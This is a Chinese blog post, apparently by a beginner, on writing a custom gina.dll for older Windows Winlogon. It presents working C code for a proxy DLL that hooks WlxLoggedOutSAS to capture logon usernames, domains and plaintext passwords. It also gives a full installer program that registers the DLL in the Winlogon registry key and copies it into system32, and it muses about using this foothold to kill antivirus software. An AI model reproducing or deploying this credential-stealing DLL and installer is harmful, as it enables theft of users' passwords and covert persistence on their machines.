关于gina.dll的编写

gina,正如微软官方说明所说的:

The GINA operates in the context of the Winlogon process and, as such, the GINA DLL is loaded very early in the boot process. The GINA DLL must follow rules so that the integrity of the system is maintained, particularly with respect to interaction with the user.

Note   GINA DLLs are ignored in Windows Vista.

The most common use of the GINA is to communicate with an external device such as a smart-card reader. It is essential to set the start parameter for the device driver to system (Winnt.h: SERVICE_SYSTEM_START) to ensure that the driver is loaded by the time the GINA is invoked.

The purpose of a GINA DLL is to provide customizable user identification and authentication procedures. The default GINA does this by delegating SAS event monitoring to Winlogon, which receives and processes CTL+ALT+DEL secure attention sequences (SASs). A custom GINA is responsible for setting itself up to receive SAS events (other than the default CTRL+ALT+DEL SAS event) and notifying Winlogon when SAS events occur. Winlogon will evaluate its state to determine what is required to process the custom GINA's SAS. This processing usually includes calls to the GINA's SAS processing functions.

For information about specific GINA export functions, see GINA Export Functions. For information about using GINA structures to pass information, see GINA Structures.

翻译为:(来自goole翻译)

GINA的经营在Winlogon进程中,这样,GINA DLL被加载在引导过程中的早期。GINA DLL必须遵循的规则,以便保持系统的完整性,特别是与用户的交互方面。

注意的GINA的DLL在Windows Vista中被忽略。

的GINA,使用最常见的是沟通与外部设备,如智能卡读卡器。重要的是为设备驱动程序系统(WINNT.H:SERVICE_SYSTEM_START)的启动参数,以确保该驱动程序加载调用GINA是。

一个GINA DLL的目的是提供可定制的用户识别和认证程序。默认的GINA,SAS事件监测委托WINLOGON,接收和处理CTL + ALT + DEL,安全注意序列(SASS)。自定义GINA负责设置接收SAS的事件(其他比默认的Ctrl + Alt + Del SAS事件),并通知WINLOGON SAS事件发生时,。 WINLOGON将评估其状态,以确定哪些是必需的过程中自定义GINA的SAS。这种处理通常包括调用了GINA的SAS处理功能。

有关具体的GINA导出功能的信息,请参阅GINA的导出功能。如需有关使用的GINA结构的信息,将信息传递,看到的GINA结构。

 

什么是winlogon.exe?

Windows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。该进程的正常路径应是 C:\Windows\System32 且是以 SYSTEM 用户运行.我们都知道操作系统都是基于权限,而权限都是基于用户的,而这个winlogon进程就是管理用户登入登出,是不可以被结束的。

 

综上所述对gina的编写可以轻松挂钩系统进程winlogon,我是菜鸟,刚刚涉及gina的编写工作,个人认为对gina的编写可能是微软自己留下的一个严重的安全漏洞。通过自己编写gina.dll并使系统加载第三方gina.dll,可以轻松获得系统的用户名和密码,甚至可以达到一些意想不到的目的,本菜鸟在写这篇博客的时候还在想,winlogon进程作为系统的安全进程,创建的比较早,是否可以用这一优势事先取得系统的权限,挤掉一下顽固的进程,(比如杀毒软件)。这也是一个菜鸟的猜测,没有经过实验证明,也没有理论基础,大牛飘过。


在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。WinLogon会和GINA DLL进行交互,缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供了接口,我们可以自己编写GINA DLL来代替MSGINA.DLL。

WinLogon初始化时会创建3个桌面:
(1)、winlogon桌面:主要显示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等
(2)、应用程序桌面:我们平时见到的那个有我的电脑的界面
(3)、屏幕保护桌面:屏幕保护显示界面。

 

下面我们就来看看,我们如何编写自己的gina.dll,这个我想应该并不困难,我们编写的gina.dll需要导出原来微软的msgina.dll的所有函数,至于这些函数的实现,直接调用原msgina.dll的导出函数即可。然后我们可以在我们需要的特定函数中添加自己的代码,实现我们自己的目的。

 

首先我们需要知道原msgina.dll导出了哪些函数。通过参看微软的帮助文档,我们不难发现msgina.dll导出了以下19个函数:(据说Windows 2000应该比文档中的19个函数多一个,本菜鸟没有仔细去想)

函数  描述
WlxActivateUserShell 激活用户外壳程序
WlxDisplayLockedNotice 允许GINA DLL 显示锁定信息
WlxDisplaySASNotice  当没有用户登陆时,Winlogon调用此函数
WlxDisplayStatusMessage Winlogon 用一个状态信息调用此函数进行显示
WlxGetConsoleSwitchCredentials  Winlogon调用此函数读取当前登陆用户的信任信息,并透明地将它们传到目标会话
WlxGetStatusMessage  Winlogon 调用此函数获取当前状态信息
WlxInitialize  针对指定的窗口位置进行GINA DLL初始化
WlxIsLockOk  验证工作站正常锁定
WlxIslogoffOk  验证注销正常
WlxLoggedOnSAS  用户已登陆并且工作站没有被加锁,如果此时接收到SAS事件,则Winlogon 调用此函数
WlxLoggedOutSAS  没有用户登陆,如果此时收到SAS事件,则Winlogon 调用此函数, This indicates that a logon attempt should be made 。
WlxLogoff  请求注销操作时通知GINA DLL 
WlxNegotiate  表示当前的Winlogon版本是否能使用GINA DLL
WlxNetworkProviderLoad  在加载网络服务提供程序收集了身份和认证信息后,Winlogon 调用此函数
WlxRemoveStatusMessage  Winlogon 调用此函数告诉GINA DLL 停止显示状态信息
WlxScreensaverNotify  允许GINA与屏幕保护操作交互
WlxShutdown  在关闭之前Winlogon 调用此函数,允许GINA实现任何关闭任务,例如从读卡器中退出智能卡
WlxStartApplication  当系统需要在用户的上下文中启动应用程序时调用此函数
WlxWkstaLockedSAS 当工作站被锁定,如果接收到一个SAS,则Winlogon 调用此函数

 然后的工作就比较easy了,本菜鸟只写出其中一个函数的定义,实例化,赋给其值为原函数地址,其他18个函数同理。

 

 

typedef BOOL                //先定义一个结构
(WINAPI *
pWlxNegotiate)(
    DWORD                   dwWinlogonVersion,
    PDWORD                  pdwDllVersion
    );


 

pWlxNegotiate				prcWlxNegotiate = NULL;                  //实例化


 

prcWlxNegotiate = (pWlxNegotiate)GetProcAddress(hGina, "WlxNegotiate");    //从原动态链接库导出原函数地址,赋给我们的函数

 

 

BOOL WINAPI WlxNegotiate (                        //在自己的编写的gina.dll动态链接库中导出这个函数,调用WlxNegotiate实现该函数原有功能
  DWORD  dwWinlogonVersion,
  PDWORD pdwDllVersion)
{
	return prcWlxNegotiate (
			dwWinlogonVersion,
			pdwDllVersion);

}

 

 

我们用一种简单的方法定义动态链接库导出函数(加入.def文件):

EXPORTS
    WlxGetConsoleSwitchCredentials  @1
	WlxActivateUserShell			@2
	WlxDisplayLockedNotice			@3
	WlxDisplaySASNotice				@4
	WlxDisplayStatusMessage			@5
	WlxGetStatusMessage				@6
	WlxInitialize					@7
	WlxIsLockOk						@8
	WlxIsLogoffOk					@9
	WlxLoggedOnSAS					@10
	WlxLoggedOutSAS					@11
	WlxLogoff						@12
	WlxNegotiate					@13
	WlxNetworkProviderLoad			@14
	WlxRemoveStatusMessage			@15
	WlxScreenSaverNotify			@16
	WlxShutdown						@17
	WlxStartApplication				@18
	WlxWkstaLockedSAS				@19


 

这样基本上就实现了一个简易的gina.dll,基本上实现了msgina.dll的原有功能。

 


 

然后,我们要实现我们特定的目的,这里本菜鸟以截获系统登录密码为例。首先需要知道系统在登录时调用了哪些函数,通过查询MSDN我们不难发现这个函数:
WlxLoggedOutSASMSDN上说明是:

The WlxLoggedOutSAS function must be implemented by a replacementGINA DLL.Winlogon calls this function when it receives a secure attention sequence (SAS) event while no user is logged on.

翻译为更换的GINA DLL必须实现WlxLoggedOutSAS功能。Winlogon中调用这个函数,当它接收到一个安全注意序列(SAS)的事件,而没有用户登录。(来自goole翻译)

 

意思就是登录的时候需要调用这个函数,那么问题就明了了,我们先来看看这个函数

Syntax
int WlxLoggedOutSAS(
  __in     PVOID pWlxContext,
  __in     DWORD dwSasType,
  __out    PLUID pAuthenticationId,
  __inout  PSID pLogonSid,
  __out    PDWORD pdwOptions,
  __out    PHANDLE phToken,
  __out    PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
  __out    PVOID* pProfile
);


我们需要关注PWLX_MPR_NOTIFY_INFO结构体:

 

typedef struct _WLX_MPR_NOTIFY_INFO {  
PWSTR pszUserName;  //用户名
PWSTR pszDomain;  //计算机名
PWSTR pszPassword;  //密码
PWSTR pszOldPassword;//旧密码
} WLX_MPR_NOTIFY_INFO,  *PWLX_MPR_NOTIFY_INFO;
 


 

那么我们就可以直接从这个结构体中得到系统登录密码,源码如下:

int WINAPI WlxLoggedOutSAS (
  PVOID                pWlxContext,
  DWORD                dwSasType,
  PLUID                pAuthenticationId,
  PSID                 pLogonSid,
  PDWORD               pdwOptions,
  PHANDLE              phToken,
  PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
  PVOID *              pProfile)
{
	int iRet=0;
	PWSTR pszUserName=NULL;      //用户名
	PWSTR pszDomain=NULL;        //机器名
	PWSTR pszPassword=NULL;       //密码
	PWSTR pszOldPassword=NULL;    //旧密码

	WriteInfo("WlxLoggedOutSAS\r\n");
	iRet=prcWlxLoggedOutSAS (
	  pWlxContext,
	  dwSasType,
	  pAuthenticationId,
	  pLogonSid,
	  pdwOptions,
	  phToken,
	  pMprNotifyInfo,
	  pProfile);
	if(iRet == WLX_SAS_ACTION_LOGON) 
	{      
		pszUserName=pMprNotifyInfo->pszUserName;        
		if(pszUserName!=NULL)    
		{
			WriteInfo("Username   : ");
			WriteInfoW(pszUserName);//输出函数 
		}
		pszDomain=pMprNotifyInfo->pszDomain; 
		if(pszDomain!=NULL)      
		{
			WriteInfo("computer   : ");
			WriteInfoW(pszDomain); 
		}
		pszPassword =pMprNotifyInfo->pszPassword; 
		if(pszPassword!=NULL)    
		{
			WriteInfo("PassWord   : ");
			WriteInfoW(pszPassword); 
		}

		pszOldPassword=pMprNotifyInfo->pszOldPassword; 
		if(pszOldPassword!=NULL) 
		{
			WriteInfo("OldPassword: ");
			WriteInfoW(pszOldPassword); 
		}
	} 
	return iRet; 
}


到此我们的gina的编写就算结束了,至于这个gina的安装,网上资料多的是,我就copy一下给大家:

1. 添加注册表
键名 : \HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon 
变量名 : GinaDLL 
变量类型 : [REG_SZ] 
内容 : "你的GINA DLL的名称" 如:"MyGina.DLL:

2. 将你的GINA DLL(MyGina.dll)拷贝到系统目录下(system32);

3. 重启机器,你的GINA DLL(MyGina.dll)就会运行。

 

我们也可以自己写个小程序自动实现上述功能,源码如下(gina.dll应该和安装程序在同一个目录下):

#include "windows.h"
#include "tchar.h"

BOOL SetRegedit()
{
	HKEY hKey=NULL;
	LPCTSTR data=_T("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon");
	LPCTSTR Value=_T("GINA.dll");
	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,data,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)
	{
        RegSetValueEx(hKey,_T("GinaDll"),0,REG_SZ,(LPBYTE)Value,50);
		return TRUE;
	}
	return FALSE;
}


BOOL Move()
{
		if((MoveFileEx(_T(".\\GINA.dll"),_T("c:\\WINDOWS\\system32\\GINA.dll"),MOVEFILE_REPLACE_EXISTING))!=0)
			return TRUE;
		else
			return FALSE;
}


int WINAPI WinMain(HINSTANCE, HINSTANCE, char *, int cmdShow)
{
	if(SetRegedit()==FALSE)
		MessageBox(NULL,"SetRegedit fuild","Error",MB_OK);
	if (Move()==FALSE)
		MessageBox(NULL,"Move fuild","Error",MB_OK);
	return 0;
}


好了,这篇博客算是完美结束了,最后说明一下,菜鸟言论,仅供娱乐。


 

 


阅读更多
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页